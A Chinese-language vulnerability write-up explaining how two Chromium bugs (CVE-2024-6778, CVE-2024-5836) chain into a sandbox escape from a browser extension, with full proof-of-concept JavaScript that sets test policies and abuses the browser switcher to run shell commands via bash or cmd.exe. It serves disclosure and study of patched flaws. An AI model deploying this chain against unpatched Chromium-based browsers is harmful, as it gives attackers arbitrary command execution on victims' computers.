通过DevTools逃离Chrome沙盒(CVE-2024-6778和CVE-2024-5836)
介绍
这篇博文详细介绍了如何发现CVE-2024-6778和CVE-2024-5836的,这是Chromium web浏览器中的漏洞,允许从浏览器扩展(带有一点点用户交互)中进行沙盒逃逸。
简而言之,这些漏洞允许恶意的Chrome扩展在你的电脑上运行任何shell命令,然后可能被用来安装一些更糟糕的恶意软件。攻击者不仅可以窃取你的密码并破坏你的浏览器,还可以控制你的整个操作系统。
webis和Chrome沙盒
Chromium运行的所有不受信任的代码都是沙箱化的,这意味着它运行在一个孤立的环境中,不能访问任何它不应该访问的东西。在实践中,这意味着在Chrome扩展中运行的Javascript代码只能与自身和它所访问的Javascript api进行交互。扩展可以访问哪些api取决于用户授予它的权限。然而,使用这些权限最糟糕的情况是窃取某人的登录和浏览器历史记录。所有内容都应该包含在浏览器中。
另外,Chromium有几个网页用来显示它的GUI,使用一种叫做web的机制。它们以 chrome://
URL协议为前缀,包括您可能使用过的 chrome://settings
和 chrome://history
。它们的目的是为Chromium的特性提供面向用户的UI,同时使用HTML、CSS和Javascript等web技术编写。由于它们需要显示和修改特定于浏览器内部的信息,因此它们被认为具有特权,这意味着它们可以访问其他地方无法使用的私有api。这些私有api允许运行在web前端的Javascript代码与浏览器本身的本机C代码通信。
防止攻击者访问web非常重要,因为在web页面上运行的代码可以完全绕过Chromium沙箱。例如,在 chrome://downloads
上,单击 .exe
文件的下载将运行可执行文件,因此,如果该操作是通过恶意脚本执行的,则该脚本可以逃离沙箱。
在 chrome://
页面上运行不受信任的Javascript是一种常见的攻击向量,因此这些私有api的接收端执行一些验证,以确保它们没有做任何用户正常情况下无法做的事情。回到 chrome://downloads
的例子,Chromium通过要求从下载页面打开文件来防止这种情况,触发它的动作必须来自实际的用户输入,而不仅仅是Javascript。
当然,有时候使用这些检查会出现Chromium开发人员没有考虑到的边缘情况。
关于企业政策
当我研究Chromium企业策略系统时,我开始寻找这个漏洞。它旨在成为管理员强制将某些设置应用于公司或学校拥有的设备的一种方式。通常,这些策略都与谷歌账户绑定,并从谷歌自己的管理服务器下载。
企业策略还包括用户通常无法修改的内容。例如,你可以用策略做的一件事是禁用恐龙彩蛋游戏:
此外,策略本身分为两类:用户策略和设备策略。
设备策略用于管理整个Chrome OS设备的设置。它们可以像限制哪些帐户可以登录或设置发布通道一样简单。其中一些甚至可以改变设备固件的行为(用于防止开发者模式或降级操作系统)。但是,由于此漏洞不属于Chrome OS,因此设备策略现在可以忽略不计。
用户策略应用于特定的用户或浏览器实例。与设备策略不同,这些策略可以在所有平台上使用,并且可以在本地设置,而无需依赖谷歌的服务器。例如,在Linux上,在 /etc/opt/chrome/policies
中放置一个JSON文件将为设备上的所有Google Chrome实例设置用户策略。
使用这种方法设置用户策略有些不方便,因为写入策略目录需要root权限。但是,如果有一种方法可以在不创建文件的情况下修改这些策略呢?
策略界面
值得注意的是,Chromium有一个用于查看应用于当前设备的策略的web,位于 chrome://policy
。它显示了应用的策略列表、策略服务的日志,以及将这些策略导出到JSON文件的功能。
这很好,但通常无法从该页编辑策略。当然,除非有一个未记录的特性可以做到这一点。
滥用策略测试页面
当我在做关于这个主题的研究时,我在Chrome v117的Chrome企业发布说明中遇到了以下条目:
chrome://policy/test将允许客户在Beta, Dev, Canary渠道上测试策略。如果有足够的客户需求,我们将考虑将此功能引入稳定渠道。
事实证明,这是Chromium文档中唯一提到这个特性的地方。因此,在没有其他地方可看的情况下,我检查了Chromium源代码,以弄清楚它应该如何工作。
使用Chromium代码搜索,我搜索了 chrome://policy/test
,这使我找到了策略测试页面的web代码的JS部分。然后我注意到它用于设置测试策略的私有API调用:
export class PolicyTestBrowserProxy {applyTestPolicies(policies: string, profileSeparationResponse: string) {return sendWithPromise('setLocalTestPolicies', policies, profileSeparationResponse);}...
}
还记得我说过这些web页面可以访问私有api吗? sendWithPromise()
是其中之一。 sendWithPromise()
实际上只是 chrome.send()
的包装器,它向用C编写的处理程序函数发送请求。然后处理函数可以在浏览器内部做任何它需要做的事情,然后它可以返回一个值,该值通过 sendWithPromise()
传递回JS端。
所以,一时兴起,我决定看看在JS控制台中调用这个会做什么。
//import cr.js since we need sendWithPromise
let cr = await import('chrome://resources/js/cr.js');
await cr.sendWithPromise("setLocalTestPolicies", "", "");
不幸的是,运行它只会使浏览器崩溃。有趣的是,崩溃日志中出现了以下一行: [17282:17282:1016/022258.064657:FATAL:local_test_policy_loader.cc(68)] Check failed: policies.has_value() && policies->is_list(). List of policies expected
看起来它需要一个JSON字符串,其中包含策略数组作为第一个参数,这是有意义的。那我们就提供一个吧。幸运的是 policy_test_browser_proxy.ts
告诉我它期望的格式,所以我不必做太多的猜测。
let cr = await import('chrome://resources/js/cr.js');
let policy = JSON.stringify([{ name: "AllowDinosaurEasterEgg",value: false,level: 1, source: 1,scope: 1}
]);
await cr.sendWithPromise("setLocalTestPolicies", policy, "");
运行完这个之后…它只是工作?我只是通过在 chrome://policy
上运行一些Javascript来设置一个任意的用户策略。考虑到我从来没有显式地启用过这个特性,显然这里出了问题。
web界面验证失败
对于某些上下文中,策略测试页面在正确启用时应该是这样的。
要正确启用此页面,必须设置 PolicyTestPageEnabled
策略(也没有在任何地方记录)。如果一开始没有设置该策略,那么 chrome://policy/test
只是重定向回 chrome://policy
。
那么,为什么我能够设置测试策略而不管我禁用了 PolicyTestPageEnabled
策略呢?为了调查这一点,我再次查看了铬代码搜索,并在C端找到了 setLocalTestPolicies
函数的web处理程序。
void PolicyUIHandler::HandleSetLocalTestPolicies(const base::Value::List& args) {std::string policies = args[1].GetString();policy::LocalTestPolicyProvider* local_test_provider =static_cast<policy::LocalTestPolicyProvider*>(g_browser_process->browser_policy_connector()->local_test_policy_provider());CHECK(local_test_provider);Profile::FromWebUI(web_ui())->GetProfilePolicyConnector()->UseLocalTestPolicyProvider();local_test_provider->LoadJsonPolicies(policies);AllowJavascript();ResolveJavascriptCallback(args[0], true);
}
该函数执行的唯一验证是检查 local_test_provider
是否存在,否则将导致整个浏览器崩溃。那么 local_test_provider
在什么条件下会存在呢?
为了回答这个问题,我找到了实际创建本地测试策略提供程序的代码。
std::unique_ptr<LocalTestPolicyProvider>
LocalTestPolicyProvider::CreateIfAllowed(version_info::Channel channel) {if (utils::IsPolicyTestingEnabled(/*pref_service=*/nullptr, channel)) {return base::WrapUnique(new LocalTestPolicyProvider());}return nullptr;
}
因此,这个函数实际上执行检查,以查看是否允许测试策略。如果不允许,则返回null,并且尝试像前面展示的那样设置测试策略将导致崩溃。
也许 IsPolicyTestingEnabled()
是行为不端?函数是这样的:
bool IsPolicyTestingEnabled(PrefService* pref_service,version_info::Channel channel) {if (pref_service &&!pref_service->GetBoolean(policy_prefs::kPolicyTestPageEnabled)) {return false;}if (channel == version_info::Channel::CANARY ||channel == version_info::Channel::DEFAULT) {return true;}return false;
}
该函数首先检查 kPolicyTestPageEnabled
是否为true,这是在正常情况下应该启用策略测试页面的策略。然而,您可能注意到,当调用 IsPolicyTestingEnabled()
时,第一个参数 pref_service
被设置为空。这将导致检查被完全忽略。
现在,剩下的唯一检查是 channel
。在这种情况下,“通道”是指浏览器的发布通道,类似于稳定、beta、开发或金丝雀。所以在这种情况下,只允许 Channel::CANARY
和 Channel::DEFAULT
。这一定意味着我的浏览器被设置为 Channel::CANARY
或 Channel::DEFAULT
。
那么浏览器知道它在哪个频道吗?这里是它确定的函数:
// Returns the channel state for the browser based on branding and the
// CHROME_VERSION_EXTRA environment variable. In unbranded (Chromium) builds,
// this function unconditionally returns `channel` = UNKNOWN and
// `is_extended_stable` = false. In branded (Google Chrome) builds, this
// function returns `channel` = UNKNOWN and `is_extended_stable` = false for any
// unexpected $CHROME_VERSION_EXTRA value.
ChannelState GetChannelImpl() {
#if BUILDFLAG(GOOGLE_CHROME_BRANDING)const char* const env = getenv("CHROME_VERSION_EXTRA");const std::string_view env_str =env ? std::string_view(env) : std::string_view();// Ordered by decreasing expected population size.if (env_str == "stable")return {version_info::Channel::STABLE, /*is_extended_stable=*/false};if (env_str == "extended")return {version_info::Channel::STABLE, /*is_extended_stable=*/true};if (env_str == "beta")return {version_info::Channel::BETA, /*is_extended_stable=*/false};if (env_str == "unstable") // linux version of "dev"return {version_info::Channel::DEV, /*is_extended_stable=*/false};if (env_str == "canary") {return {version_info::Channel::CANARY, /*is_extended_stable=*/false};}
#endif // BUILDFLAG(GOOGLE_CHROME_BRANDING)return {version_info::Channel::UNKNOWN, /*is_extended_stable=*/false};
}
如果你不知道C预处理器是如何工作的, #if BUILDFLAG(GOOGLE_CHROME_BRANDING)
部分意味着只有当 BUILDFLAG(GOOGLE_CHROME_BRANDING)
为真时才会编译所包含的代码。否则这部分代码就不存在了。考虑到我使用的是普通的Chromium而不是品牌的Google Chrome,通道将始终是 Channel::UNKNOWN
。这也意味着,不幸的是,这个bug不会在Google Chrome的稳定版本上工作,因为发布通道在那里被设置为适当的值。
enum class Channel {UNKNOWN = 0,DEFAULT = UNKNOWN,CANARY = 1,DEV = 2,BETA = 3,STABLE = 4,
};
查看通道的枚举定义,可以看到 Channel::UNKNOWN
实际上与 Channel::DEFAULT
相同。因此,在Chromium及其衍生物上, IsPolicyTestingEnabled()
中的发布通道检查总是通过,函数总是返回true。
通过浏览器切换器逃离沙盒
那么,我可以使用设置任意用户策略的功能做些什么呢?为了回答这个问题,我查看了Chrome的企业政策列表。
企业策略中存在的特性之一是遗留浏览器支持模块,也称为浏览器切换器。它的设计是为了适应ie用户,当用户访问Chromium中的某些url时,可以启动一个替代浏览器。该特性的行为都可以通过策略进行控制。
AlternativeBrowserPath
政策尤其引人注目。结合 AlternativeBrowserParameters
,这允许Chromium作为“备用浏览器”启动任何shell命令。但是,请记住这只适用于Linux、MacOS和Windows,否则浏览器切换器策略不存在。
例如,我们可以设置以下策略来让Chromium启动计算器:
name: "BrowserSwitcherEnabled"
value: truename: "BrowserSwitcherUrlList"
value: ["example.com"]name: "AlternativeBrowserPath"
value: "/bin/bash"name: "AlternativeBrowserParameters"
value: ["-c", "xcalc # ${url}"]
当浏览器试图导航到 example.com
时,浏览器切换器将启动并启动 /bin/bash
。 ["-c", "xcalc # https://example.com"]
作为参数传入。 -c
告诉bash运行下一个参数中指定的命令。您可能已经注意到,页面URL被替换为 ${url}
,因此为了防止这混淆命令,我们可以简单地将它放在 #
后面,使其成为注释。因此,我们能够欺骗Chromium运行 /bin/bash -c 'xcalc # https://example.com'
。
在 chrome://policy
页面中使用它非常简单。我可以使用上述方法设置这些策略,然后调用 window.open("https://example.com")
来触发浏览器切换器。
let cr = await import('chrome://resources/js/cr.js');
let policy = JSON.stringify([{ //enable the browser switcher featurename: "BrowserSwitcherEnabled",value: true,level: 1,source: 1,scope: 1}, { //set the browser switcher to trigger on example.comname: "BrowserSwitcherUrlList",value: ["example.com"],level: 1,source: 1,scope: 1}, { //set the executable path to launchname: "AlternativeBrowserPath",value: "/bin/bash",level: 1,source: 1,scope: 1}, { //set the arguments for the executablename: "AlternativeBrowserParameters",value: ["-c", "xcalc # https://example.com"],level: 1,source: 1,scope: 1}
]);//set the policies listed above
await cr.sendWithPromise("setLocalTestPolicies", policy, "");
//navigate to example.com, which will trigger the browser switcher
window.open("https://example.com")
这就是沙盒逃生。我们已经成功地通过运行在 chrome://policy
上的Javascript运行了一个任意shell命令。
破坏Devtools API
您可能已经注意到,到目前为止,这种攻击要求受害者在 chrome://policy
上将恶意代码粘贴到浏览器控制台。实际上,说服别人这样做是相当困难的,这会让bug变得毫无用处。现在,我的新目标是在 chrome://policy
中自动运行这个JS。
最可能的方法是创建一个恶意的Chrome扩展。Chrome扩展api具有相当大的攻击面,并且扩展本身就具有将JS注入页面的能力。但是,正如我前面提到的,扩展不允许在特权web页面上运行JS,所以我需要找到一种方法来解决这个问题。
扩展在页面上执行JS有4种主要方式:
chrome.scripting
,它直接在特定的选项卡中执行JS。chrome.tabs
在Manifest v2中,其工作原理类似于chrome.scripting
。chrome.debugger
使用远程调试协议。chrome.devtools.inspectedWindow
,当devtools打开时与被检查的页面交互。
在调查这个问题时,我决定研究 chrome.devtools.inspectedWindow
,因为我觉得它是最模糊的,因此最不坚固。这个假设被证明是正确的。
chrome.devtools
api的工作方式是,所有使用该api的扩展必须在其清单中包含 devtools_page
字段。例如:
{"name": "example extension","version": "1.0","devtools_page": "devtools.html",...
}
从本质上讲,它所做的就是指定每当用户打开devtools时,devtools页面将 devtools.html
作为iframe加载。在该iframe内,扩展可以使用所有 chrome.devtools
api。您可以参考API文档了解细节。
在研究 chrome.devtools.inspectedWindow
api时,我注意到David Erceg之前的一个bug报告,其中涉及到 chrome.devtools.inspectedWindow.eval()
的一个bug。他设法在web上执行代码,方法是在正常页面上打开devtools,然后运行 chrome.devtools.inspectedWindow.eval()
,并使用一个脚本使页面崩溃。然后,可以将这个崩溃的选项卡导航到web页面,在那里将重新运行eval请求,从而在那里获得代码执行。
值得注意的是, chrome.devtools
api应该通过在被检查的页面导航到web后禁用它们的使用来防止这种特权执行。正如David Erceg在他的bug报告中所演示的那样,绕过这个问题的关键是在Chrome决定禁用devtools API之前发送eval请求,并确保请求到达web页面。
在阅读了该报告之后,我想知道 chrome.devtools.inspectedWindow.reload()
是否可能有类似的情况。这个函数也能够在被检查的页面上运行JS,只要将 injectedScript
传递给它。
当被检查的页面是属于web的 about:blank
页面时,当我尝试调用 inspectedWindow.reload()
时,出现了可利用的第一个迹象。 about:blank
页面在这方面是唯一的,因为即使URL不是特殊的,它们也继承了打开它们的页面的权限和来源。因为从web打开的 about:blank
页面是特权的,您会期望尝试评估该页上的JS将被阻止。
令人惊讶的是,这确实有效。注意,警报的标题中包含了该页的起源,即 chrome://settings
,因此该页实际上具有特权。但是等等,devtools API不是应该通过完全禁用API来防止这种事情吗?它不考虑 about:blank
页面的边缘情况。下面是处理禁用API的代码:
private inspectedURLChanged(event: Common.EventTarget.EventTargetEvent<SDK.Target.Target>): void {if (!ExtensionServer.canInspectURL(event.data.inspectedURL())) {this.disableExtensions();return;}...
}
重要的是,这里只考虑URL,而不考虑页面的来源。正如我前面所演示的,这可以是两个不同的东西。即使URL是良性的,源也可能不是。
滥用 about:blank
很好,但在创建漏洞利用链的上下文中并不是很有用。我想让代码执行的页面, chrome://policy
,从不打开任何 about:blank
弹出窗口,所以这已经是一个死胡同。然而,我注意到即使 inspectedWindow.eval()
失败, inspectedWindow.reload()
仍然成功运行并在 chrome://settings
上执行JS。这表明 inspectedWindow.eval()
有自己的检查,看看是否被检查页面的起源是允许的,而 inspectedWindow.reload()
没有自己的检查。
然后,我想知道我是否可以直接发送 inspectedWindow.reload()
调用,这样,如果这些请求中至少有一个落在web页面上,我就可以执行代码。
function inject_script() {chrome.devtools.inspectedWindow.reload({"injectedScript": `//check the origin, this script won't do anything on a non chrome pageif (!origin.startsWith("chrome://")) return;alert("hello from chrome.devtools.inspectedWindow.reload");`});
}setInterval(() => {for (let i=0; i<5; i++) {inject_script(); }
}, 0); chrome.tabs.update(chrome.devtools.inspectedWindow.tabId, {url: "chrome://policy"});
这是攻击链的最后一个环节。这个竞争条件依赖于被检查的页面和devtools页面是不同的进程。当在巡检页面中跳转到web界面时,在devtools页面实现并关闭API之前会有一小段时间窗口。如果在此时间间隔内调用 inspectedWindow.reload()
,则重新加载请求将在web页面上结束。
编写POC
既然我已经完成了开发的所有步骤,我就开始将POC代码放在一起。概括地说,这个POC必须完成以下工作:
- 使用
chrome.devtools.inspectedWindow.reload()
中的竞争条件在chrome://policy
上执行JS负载 - 该负载调用
sendWithPromise("setLocalTestPolicies", policy)
来设置自定义用户策略。 - 设置
BrowserSwitcherEnabled
、BrowserSwitcherUrlList
、AlternativeBrowserPath
和AlternativeBrowserParameters
,指定/bin/bash
作为“备用浏览器”。 - 浏览器切换器由一个简单的
window.open()
调用触发,该调用执行一个shell命令。
最终的POC是这样的:
let executable, flags;
if (navigator.userAgent.includes("Windows NT")) {executable = "C:\\Windows\\System32\\cmd.exe";flags = ["/C", "calc.exe & rem ${url}"];
}
else if (navigator.userAgent.includes("Linux")) {executable = "/bin/bash";flags = ["-c", "xcalc # ${url}"];
}
else if (navigator.userAgent.includes("Mac OS")) {executable = "/bin/bash";flags = ["-c", "open -na Calculator # ${url}"];
}//function which injects the content script into the inspected page
function inject_script() {chrome.devtools.inspectedWindow.reload({"injectedScript": `(async () => {//check the origin, this script won't do anything on a non chrome pageconsole.log(origin);if (!origin.startsWith("chrome://")) return;//import cr.js since we need sendWithPromiselet cr = await import('chrome://resources/js/cr.js');//here are the policies we are going to setlet policy = JSON.stringify([{ //enable the browser switcher featurename: "BrowserSwitcherEnabled",value: true,level: 1,source: 1,scope: 1}, { //set the browser switcher to trigger on example.comname: "BrowserSwitcherUrlList",value: ["example.com"],level: 1,source: 1,scope: 1}, { //set the executable path to launchname: "AlternativeBrowserPath",value: ${JSON.stringify(executable)},level: 1,source: 1,scope: 1}, { //set the arguments for the executablename: "AlternativeBrowserParameters",value: ${JSON.stringify(flags)},level: 1,source: 1,scope: 1}]);//set the policies listed aboveawait cr.sendWithPromise("setLocalTestPolicies", policy, "");setTimeout(() => {//navigate to example.com, which will trigger the browser switcherlocation.href = "https://example.com";//open a new page so that there is still a tab remaining after thisopen("about:blank"); }, 100);})()`});
}//interval to keep trying to inject the content script
//there's a tiny window of time in which the content script will be
//injected into a protected page, so this needs to run frequently
function start_interval() {setInterval(() => {//loop to increase our oddsfor (let i=0; i<3; i++) {inject_script(); }}, 0);
}async function main() {//start the interval to inject the content scriptstart_interval();//navigate the inspected page to chrome://policylet tab = await chrome.tabs.get(chrome.devtools.inspectedWindow.tabId);await chrome.tabs.update(tab.id, {url: "chrome://policy"});//if this times out we need to retry or abortawait new Promise((resolve) => {setTimeout(resolve, 1000)});let new_tab = await chrome.tabs.get(tab.id);//if we're on the policy page, the content script didn't get injectedif (new_tab.url.startsWith("chrome://policy")) {//navigate back to the original pageawait chrome.tabs.update(tab.id, {url: tab.url});//discarding and reloading the tab will close devtoolssetTimeout(() => {chrome.tabs.discard(tab.id);}, 100)}//we're still on the original page, so reload the extension frame to retryelse {location.reload();}
}main();
有了这些,我就准备写bug报告了。我最终完成了脚本,编写了一份漏洞解释,在多个操作系统上进行了测试,并将其发送给谷歌。
然而,此时仍然存在一个明显的问题: .inspectedWindow.reload()
的竞争条件不是很可靠。我设法调整它,使它在70%的时间内工作,但这仍然不够。尽管它能够正常工作的事实确实使其成为一个严重的漏洞,但不可靠性将大大降低其严重性。所以我开始努力寻找更好的方法。
POC优化
还记得我在David Erceg的bug报告中提到的,他利用了选项卡崩溃后调试器请求仍然存在的事实吗?我想知道这个方法是否也适用于 inspectedWindow.reload()
,所以我测试了它。我还对 debugger
语句进行了修改,似乎在一行中触发调试器两次会导致选项卡崩溃。
所以我开始写一个新的POC:
let tab_id = chrome.devtools.inspectedWindow.tabId;//function which injects the content script into the inspected page
function inject_script() {chrome.devtools.inspectedWindow.reload({"injectedScript": `//check the origin, so that the debugger is triggered instead if we are not on a chrome pageif (!origin.startsWith("chrome://")) {debugger;return;}alert("hello from chrome.devtools.inspectedWindow.reload");`});
}function sleep(ms) {return new Promise((resolve) => {setTimeout(resolve, ms)})
}async function main() {//we have to reset the tab's origin here so that we don't crash our own extension process//this navigates to example.org which changes the tab's originawait chrome.tabs.update(tab_id, {url: "https://example.org/"});await sleep(500);//navigate to about:blank from within the example.org page which keeps the same originchrome.devtools.inspectedWindow.reload({"injectedScript": `location.href = "about:blank";` })await sleep(500);inject_script(); //pause the current tabinject_script(); //calling this again crashes the tab and queues up our javascriptawait sleep(500);chrome.tabs.update(tab_id, {url: "chrome://settings"});
}main();
而且很有效!这种方法的优点在于,它消除了对竞争条件的需求,并使攻击100%可靠。然后,我将新的POC和所有 chrome://policy
内容上传到bug报告线程的评论中。
但为什么这个疏忽仍然存在,即使它应该在4年前被修补?我们可以通过查看之前的漏洞是如何被修补的来找出原因。谷歌的解决方案是在标签崩溃后清除所有未决的调试器请求,这似乎是一个明智的方法:
void DevToolsSession::ClearPendingMessages(bool did_crash) {for (auto it = pending_messages_.begin(); it != pending_messages_.end();) {const PendingMessage& message = *it;if (SpanEquals(crdtp::SpanFrom("Page.reload"),crdtp::SpanFrom(message.method))) {++it;continue;}// Send error to the client and remove the message from pending.std::string error_message =did_crash ? kTargetCrashedMessage : kTargetClosedMessage;SendProtocolResponse(message.call_id,crdtp::CreateErrorResponse(message.call_id,crdtp::DispatchResponse::ServerError(error_message)));waiting_for_response_.erase(message.call_id);it = pending_messages_.erase(it);}
}
您可能会注意到,它似乎包含了 Page.reload
请求的异常,因此它们不会被清除。在内部, inspectedWindow.reload()
API发送一个 Page.reload
请求,因此 inspectedWindow.reload()
API调用不受此补丁的影响。谷歌确实修补了这个漏洞,然后添加了一个例外,这使得这个漏洞再次出现。我猜他们没有意识到 Page.reload
也可以运行脚本。
另一个谜是为什么当 debugger
语句运行两次时页面崩溃。我仍然不完全确定这一个,但我认为我把它缩小到铬的渲染器代码中的一个功能。它特别发生在Chromium检查导航状态时,当它遇到意外状态时,它就崩溃了。当RenderFrameImpl::SynchronouslyCommitAboutBlankForBug778318被调用时,这个状态会变得混乱(这是处理 about:blank
的另一个副作用)。当然,任何类型的崩溃都会发生,比如 [...new Array(2**31)]
,这会导致选项卡耗尽内存。然而, debugger
崩溃是更快触发,所以这就是我在我的最终POC中使用的。
无论如何,下面是这个漏洞的实际情况:
顺便说一下,您可能已经注意到显示的“扩展安装错误”屏幕。这只是为了欺骗用户打开devtools,从而触发导致沙盒逃逸的链条。
谷歌的反馈
在报告了这个漏洞后,谷歌迅速确认了这个漏洞,并将其分类为P1/S1,这意味着高优先级和高严重性。在接下来的几周内,实施了以下修复:
- 为
Page.reload
命令添加loaderId
参数,并检查呈现端loaderID
-这确保命令仅对单个源有效,并且如果命令无意中到达特权页面将不起作用。 - 检查
inspectedWindow.reload()
函数中的URL—现在,该函数不仅依赖于撤销访问的扩展API。 - 检查测试策略是否在web处理程序中启用—通过在处理程序功能中添加工作检查,可以防止完全设置测试策略。
最终,涉及竞态条件的漏洞被分配为CVE-2024-5836, CVSS严重性评分为8.8(高)。涉及被检查页面崩溃的漏洞被分配为CVE-2024-6778,严重性评分也为8.8。
结论
我想所有这些的主要收获是,如果你在正确的地方,最简单的错误可以相互叠加,导致一个惊人的高严重性的漏洞。考虑到 inspectedWindow.reload
漏洞实际上早在Chrome v45就存在,你也不能相信非常老的代码在多年后仍然安全。此外,像策略测试页面错误一样,向每个人发布完全没有文档记录、不完整和不安全的特性并不是一个好主意。最后,在修复漏洞时,您应该检查是否可能存在类似的错误,并尝试修复它们。
相关文章:
通过DevTools逃离Chrome沙盒(CVE-2024-6778和CVE-2024-5836)
介绍 这篇博文详细介绍了如何发现CVE-2024-6778和CVE-2024-5836的,这是Chromium web浏览器中的漏洞,允许从浏览器扩展(带有一点点用户交互)中进行沙盒逃逸。 简而言之,这些漏洞允许恶意的Chrome扩展在你的电脑上运行…...
手持无人机飞手执照,会组装调试入伍当兵有多香!
手持无人机飞手执照,并具备组装调试技能,在入伍当兵时确实会具有显著的优势和吸引力。以下是对这一情况的详细分析: 一、无人机飞手执照的优势 1. 法规遵从与安全保障: 根据《民用无人驾驶航空器系统驾驶员管理暂行规定》等相关…...
项目经理好累好烦啊,不想干了....
打住! 先问问自己,在所有的项目管理过程中,有没有体验到任和何乐趣。如果没有,请不要再继续内耗。 如果有,慎重考虑,然后适当解压,每个岗位都会不同的烦心事,每个企业都不完美&…...
论技术人员“技术人格”的重要意义
此论题从表面上看,是社会科学的,或者心理学的。然其对于信息技术这种科学的工作,又显得非常的重要。作为信息技术的从业者,或者说科学的从业者,具备良好的“技术人格”,对确保工作的质量,与正确…...
Kafka异常重试方案小记
背景 在最近进行的项目架构升级中,我们对原有的核心项目结构进行了细致的拆分。 现在,核心项目与非核心项目之间的通信和数据交换主要通过Kafka这一中间件来实现。 这种设计主要体现在核心项目向非核心项目发送通知,这些通知大致可以分为三个…...
非页面缓冲池占用过高处理方法
1.现象 电脑变莫名其妙得特别卡,明明16G的内存,理论上日常使用,打游戏之类的使用起来完全不会有什么大问题,但是实际使用却是卡的要死。 下面开始查找原因。 2.查找原因 使用win自带的任务管理器,可以看到日常内存…...
【Linux】进程信号(下)
目录 一、信号的阻塞 1.1 信号在内核中的保存方式 1.2 sigset_t信号集 (1)信号集操作 (2)sigprocmask函数 (3)sigpending函数 二、信号的处理 2.1 用户态和内核态 2.2 重谈进程地址空间 三、信号…...
FlinkCDC 实现 MySQL 数据变更实时同步
文章目录 1、基本介绍2、代码实战2.1、数据源准备2.2、代码实战2.3、数据格式 1、基本介绍 Flink CDC 是 Apache Flink 提供的一个功能强大的组件,用于实时捕获和处理数据库中的数据变更。可以实时地从各种数据库(如MySQL、PostgreSQL、Oracle、MongoDB…...
JavaWeb——Maven(4/8):Maven坐标,idea集成-导入maven项目(两种方式)
目录 Maven坐标 导入Maven项目 第一种方式 第二种方式 Maven坐标 Maven 坐标 是 Maven 当中资源的唯一标识。通过这个坐标,我们就能够唯一定位资源的位置。 Maven 坐标主要用在两个地方。第一个地方:我们可以使用坐标来定义项目。第二个地方&#…...
实现uniapp天地图边界范围覆盖
在uniapp中,难免会遇到使用地图展示的功能,但是百度谷歌这些收费的显然对于大部分开源节流的开发者是不愿意接受的,所以天地图则是最佳选择。 此篇文章,详细的实现地图展示功能,并且可以自定义容器宽高,还可…...
思科网络设备命令
一、交换机巡检命令 接口和流量状态 show interface stats:查看所有接口当前流量。show interface summary:查看所有接口当前状态和流量。show interface status:查看接口状态及可能的错误。show interface | include errors | FastEthernet …...
Egg.js使用ejs快速自动生成resetful风格的CRUD接口
目前的插件能够自动生成egg的crud的都不太好用 我们自己写一个吧 ejs模块 也方便定制 安装依赖 npm install ejs --save ejs 是一个简单易用的模板引擎,常用于 Node.js 应用程序中 在项目根目录下创建 template/controller.ejs 模板文件 use strict;const Co…...
自动化抖音点赞取消脚本批量处理
🌟 前言 欢迎来到我的技术小宇宙!🌌 这里不仅是我记录技术点滴的后花园,也是我分享学习心得和项目经验的乐园。📚 无论你是技术小白还是资深大牛,这里总有一些内容能触动你的好奇心。🔍 &#x…...
基于YOLOv8深度学习的智能车牌检测与识别系统【python源码+Pyqt5界面+数据集+训练代码】目标检测、深度学习实战
背景及意义 智能车牌检测与识别系统通过使用最新的YOLOv8与PaddleOCR算法能够迅速、准确地在多种环境下实现实时车牌的检测和识别。本文基于YOLOv8深度学习框架,通过16770张图片,训练了一个进行车牌检测模型,可以检测蓝牌与绿牌,然后对检测到的车牌使用O…...
qt QGraphicsGridLayout详解
一、概述 QGraphicsGridLayout是Qt框架中用于在QGraphicsScene中布置图形项的一个布局管理器。它类似于QWidget中的QGridLayout,但主要处理的是QGraphicsItem和QGraphicsWidget等图形项。通过合理设置网格位置、伸缩因子和尺寸,可以实现复杂而灵活的布局…...
数字处理系列
(1)将数字转化成中文的过滤器 <template><div><p>数字转中文:{{ 110 | numberToChinese }}</p></div></template><script>export default {filters: {numberToChinese(num) {const chineseNums …...
基于开源Jetlinks物联网平台协议包-MQTT自定义主题数据的编解码
目录 前言 1.下载官方协议包 2.解压 3.自定义主题 4.重写解码方法 5.以下是我解析后接收到的数据 前言 最近这段时间,一直在用开源的Jetlinks物联网平台在学习,偶尔有一次机会接触到物联网设备对接,在协议对接的时候,遇到了…...
【Python】Python2.7升级Python3
需求背景 服务是跑在docker的容器里的,因此要新建image依赖环境是Ubuntu,老的是16.4。 步骤 先准备环境,因为只有你的环境上去了,运行代码的时候才会报错,这样才会把需要改的代码暴露出来。 python3.5目前也是被遗弃的…...
Python 内置函数 round() 详解
在 Python 编程中,round() 函数是一个非常实用的内置函数,用于对数字进行四舍五入。无论是在数据处理、财务计算还是科学计算中,round() 函数都能帮助我们得到所需的精确值。本文将详细介绍 round() 函数的用法和注意事项。 1. round() 函数…...
JavaScript入门中-流程控制语句
本文转载自:https://fangcaicoding.cn/article/52 大家好!我是方才,目前是8人后端研发团队的负责人,拥有6年后端经验&3年团队管理经验,截止目前面试过近200位候选人,主导过单表上10亿、累计上100亿数据…...
kconfig语法(一)
一、安装Kconfiglib python -m pip install windows-curses python -m pip install kconfiglib二、使用样例 ①创建kconfig文件。 ②在kconfig文件添加内容: config KCONFIG_DEMO_ITEM1boolprompt "demonstate item1 for bool learning"config KCONFIG_DEMO_ITE…...
十七、行为型(命令模式)
命令模式(Command Pattern) 概念 命令模式是一种行为型设计模式,它将请求封装成一个对象,从而使您可以使用不同的请求对客户进行参数化,排队请求,以及支持可撤销操作。通过这种模式,调用操作的…...
原材料供应商的GRS认证证书过期了怎么办?
在全球纺织和时尚产业中,GRS(Global Recycle Standard,全球再生标准)认证已成为衡量企业环保和可持续发展的重要指标。然而,当原材料供应商的GRS认证证书过期时,企业需迅速采取行动,以确保供应链…...
C++编程:实现一个基于原始指针的环形缓冲区(RingBuffer)缓存串口数据
文章目录 0. 引言1. 使用示例2. 流程图2.1 追加数据流程2.2 获取空闲块流程2.3 处理特殊字符流程2.4 释放块流程2.5 获取下一个使用块流程 3. 代码详解3.1 Block 结构体3.2 RingBuffer 类3.3 主要方法解析append 方法currentUsed 和 currentUsing 方法release 方法nextUsed 方法…...
LangChain 创始人万字科普:手把手教你设计 Agent 用户交互
LangChain 可以算是 LLM 时代做 AI 应用开发必备的框架和平台,从模型选择、数据库链接与各种 Agent 搭建等,AI 应用的搭建、运行和管理都可以在 LangChain 上进行。 某种意义上,LangChain 可能是最了解 Agent(智能体)…...
Docker 用例:15 种最常见的 Docker 使用方法
